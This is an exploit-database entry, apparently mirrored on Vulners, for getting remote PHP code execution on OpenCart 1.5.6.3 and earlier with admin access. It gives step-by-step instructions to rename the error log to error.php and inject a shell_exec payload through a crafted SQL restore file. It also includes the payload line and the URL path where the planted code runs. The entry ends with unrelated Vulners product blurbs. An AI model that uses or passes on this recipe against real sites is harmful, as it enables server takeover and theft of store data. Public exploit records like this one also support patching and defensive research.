# Exploit Title: Opencart <= 1.5.6.3 Upload Shell [ admin required ]
# Date: 18.04.2014
# Exploit Author: waszilica
# Author HomePage: http://rstforums.com
# Software Link: http://www.opencart.com/index.php?route=download/download
# Platform: linux/php
# Version: Opencart <= 1.5.6.3
# Video: http://www.screenr.com/IFxN
Preconditions:
Admin privileges needed
Old solution and sometimes not working method: Go to Catalog -> Downloads and upload file
This trick works by renaming the error log file from error.txt to error.php ( or whatever.php ) and make an wrong sql query in order to log it
1.Go to System -> Settings -> Edit (Your Store) -> Server Tab and at "Error Log Filename" input... put error.php and click save
2.Create example.sql with this content: SELECT '<?php echo "<pre>";print_r(shell_exec("ls ../../")); ?>' FROM `inexistent_table`
3.Go to System -> Backup / Restore and at Restore Backup select your example.sql file and press Restore
4.Go to http://www.site.com/system/logs/error.php and there is your php code executed.
# 0day.today [2018-03-14] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation